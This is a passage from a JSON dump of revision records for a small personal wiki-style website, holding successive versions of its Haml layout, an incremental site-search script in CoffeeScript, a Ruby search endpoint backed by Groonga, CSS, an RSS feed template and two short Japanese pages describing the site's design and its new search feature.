(Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:30:25.000Z","updated_at":"2013-04-05T17:30:25.000Z"},{"id":2369,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').value()\r\n if new_str == str\r\n search_loop str\r\n else\r\n $.get('/search', q: new_str).success(data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:32:18.000Z","updated_at":"2013-04-05T17:32:18.000Z"},{"id":2370,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').value()\r\n if new_str == str\r\n search_loop str\r\n else\r\n $.get('/search', q: new_str).success (data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:32:51.000Z","updated_at":"2013-04-05T17:32:51.000Z"},{"id":2371,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str\r\n search_loop str\r\n else\r\n $.get('/search', q: new_str).success (data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:33:16.000Z","updated_at":"2013-04-05T17:33:16.000Z"},{"id":2372,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str\r\n search_loop str\r\n else\r\n $.getJSON('/search', q: new_str).success (data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:33:43.000Z","updated_at":"2013-04-05T17:33:43.000Z"},{"id":2373,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str = ''\r\n search_loop new_str\r\n else\r\n $.getJSON('/search', q: new_str).success (data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:34:26.000Z","updated_at":"2013-04-05T17:34:26.000Z"},{"id":2374,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str = ''\r\n search_loop new_str\r\n else\r\n $.getJSON('/search', q: new_str).success((data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n ).error -\u003e search_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:34:50.000Z","updated_at":"2013-04-05T17:34:50.000Z"},{"id":2375,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str = ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n ).error -\u003e search_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:36:01.000Z","updated_at":"2013-04-05T17:36:01.000Z"},{"id":2376,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str\r\n search_loop str\r\n else\r\n $.get('/search', q: new_str).success (data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:36:43.000Z","updated_at":"2013-04-05T17:36:43.000Z"},{"id":2377,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str == ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n console.log data\r\n search_loop new_str\r\n ).error -\u003e seach_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:37:22.000Z","updated_at":"2013-04-05T17:37:22.000Z"},{"id":2378,"name":"search","body":"ruby\r\nmime application/json\r\nGroonga['Pages'].select(Sewell.generate(request.params['q'].to_s, %w{name text})).map{|x| [x.name, x.text.slice(0,60), x.text.length]}.to_json","created_at":"2013-04-05T17:37:49.000Z","updated_at":"2013-04-05T17:37:49.000Z"},{"id":2379,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str == ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n for n in data\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr(href: \"/#{n[0]}\").text(n[0])\r\n )\r\n )\r\n search_loop new_str\r\n ).error -\u003e \r\n $('#search_area').html('')\r\n seach_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:39:57.000Z","updated_at":"2013-04-05T17:39:57.000Z"},{"id":2380,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str == ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n $('#search_area').html('')\r\n for n in data\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr(href: \"/#{n[0]}\").text(n[0])\r\n )\r\n )\r\n search_loop new_str\r\n ).error -\u003e \r\n $('#search_area').html('')\r\n seach_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:40:31.000Z","updated_at":"2013-04-05T17:40:31.000Z"},{"id":2381,"name":"search","body":"ruby\r\nmime application/json\r\nGroonga['Pages'].select(Sewell.generate(request.params['q'].to_s, %w{name text})).map{|x| [x.name, x.text.slice(0,60), x.text.length, Time.at(x.created_at).getutc.to_s]}.to_json","created_at":"2013-04-05T17:41:54.000Z","updated_at":"2013-04-05T17:41:54.000Z"},{"id":2382,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str == ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n $('#search_area').html('')\r\n for n in data\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr(href: \"/#{n[0]}\").text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgrey').text(n[2])\r\n )\r\n )\r\n search_loop new_str\r\n ).error -\u003e \r\n $('#search_area').html('')\r\n seach_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:42:54.000Z","updated_at":"2013-04-05T17:42:54.000Z"},{"id":2383,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str == ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n $('#search_area').html('')\r\n for n in data\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr(href: \"/#{n[0]}\").text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgray').text(n[3])\r\n )\r\n )\r\n search_loop new_str\r\n ).error -\u003e \r\n $('#search_area').html('')\r\n seach_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:43:25.000Z","updated_at":"2013-04-05T17:43:25.000Z"},{"id":2384,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str == ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n $('#search_area').html('')\r\n for n in data\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr(href: \"/#{n[0]}\").text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgray').text(\"\u0026nbsp;\u0026nbsp;#{n[3]}\")\r\n )\r\n )\r\n search_loop new_str\r\n ).error -\u003e \r\n $('#search_area').html('')\r\n seach_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:43:51.000Z","updated_at":"2013-04-05T17:43:51.000Z"},{"id":2385,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str == ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n $('#search_area').html('')\r\n for n in data\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr(href: \"/#{n[0]}\").text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgray').html(\"\u0026nbsp;\u0026nbsp;#{n[3]}\")\r\n )\r\n )\r\n search_loop new_str\r\n ).error -\u003e \r\n $('#search_area').html('')\r\n seach_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:44:12.000Z","updated_at":"2013-04-05T17:44:12.000Z"},{"id":2386,"name":"search.coffee","body":"coffee\r\n\r\nsearch_loop = (str)-\u003e\r\n setTimeout -\u003e\r\n new_str = $('#search').val()\r\n if new_str == str or new_str == ''\r\n $('#search_area').html('') if new_str == ''\r\n search_loop new_str\r\n else\r\n $.get('/search', q: new_str).success((data)-\u003e\r\n $('#search_area').html('')\r\n for n in data\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr(href: \"/#{n[0]}\").text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgray').html(\"\u0026nbsp;\u0026nbsp;#{n[3]}\")\r\n )\r\n )\r\n search_loop new_str\r\n ).error -\u003e \r\n $('#search_area').html('')\r\n seach_loop new_str\r\n , 200\r\n\r\n$ -\u003e \r\nsearch_loop ''\r\n","created_at":"2013-04-05T17:44:48.000Z","updated_at":"2013-04-05T17:44:48.000Z"},{"id":2387,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:45:25.000Z","updated_at":"2013-04-05T17:45:25.000Z"},{"id":2388,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n %li \r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:45:54.000Z","updated_at":"2013-04-05T17:45:54.000Z"},{"id":2389,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:46:35.000Z","updated_at":"2013-04-05T17:46:35.000Z"},{"id":2390,"name":"source","body":"haml このサイトのソース\r\n!!!\r\n%title ssig33.com - このサイトのソース\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %h1 このサイトのソース\r\n %h2 ちょっとした解説\r\n %p Web から楽にサイトを更新したいというよくあるアレ。\r\n\r\n %p ただの Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\n %p まず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\n %p ページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n %p 頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n %p 頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n %p 頭に raw でいれたものをそのまま吐きます。 js をアップロードしたり貼ったりしたい時に便利。\r\n\r\n %p 頭に ruby で ruby のコードとして評価した結果を返す。何かに使えて便利。\r\n\r\n %p 以下のソースを読めば分かると思いますが、 \u003ca href='source/app.rb'\u003e/source/app.rb\u003c/a\u003e にソースがある場合はそれを使います。ソースすらサイトから更新出来るようにした。\r\n\r\n %h2 app.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"app.rb\").read\r\n\r\n %h2 migrate.rb\r\n %pre{lang: :ruby}\r\n %code~open(\"migrate.rb\").read\r\n\r\n %h2 migrate/0_create_pages.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"migrate/0_create_pages.rb\").read\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();","created_at":"2013-04-05T17:48:35.000Z","updated_at":"2013-04-05T17:48:35.000Z"},{"id":2391,"name":"text/サイト内検索つけた","body":"%blog%\r\n\r\n下のほうに出てるサイト内検索というところにいろいろ入れると検索結果が出ます、よくあるやつ。裏にいるのは Groonga です。\r\n\r\nサイト内検索の実装は\r\n\r\n- [ソース](http://ssig33.com/source) \r\n - これは DB に入ってるサイトのメインのコードの呼び出しとか Groonga への接続だけやる部分\r\n- [上記から呼ばれる実際のコード](http://ssig33.com/source/app.rb)\r\n- [レイアウトファイル](http://ssig33.com/layout)\r\n- [検索 API](http://ssig33.com/edit/search)\r\n- [インクリメンタルサーチを行なう JS](http://ssig33.com/edit/search.coffee)\r\n\r\nに分散しておりこのサイトの悍しい構成がここに明らかになります。","created_at":"2013-04-05T17:50:51.000Z","updated_at":"2013-04-05T17:50:51.000Z"},{"id":2392,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin-top: 3px;margin-bottom;3px}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2013-04-05T17:54:35.000Z","updated_at":"2013-04-05T17:54:35.000Z"},{"id":2393,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2013-04-05T17:55:38.000Z","updated_at":"2013-04-05T17:55:38.000Z"},{"id":2394,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2013-04-05T17:56:05.000Z","updated_at":"2013-04-05T17:56:05.000Z"},{"id":2395,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e 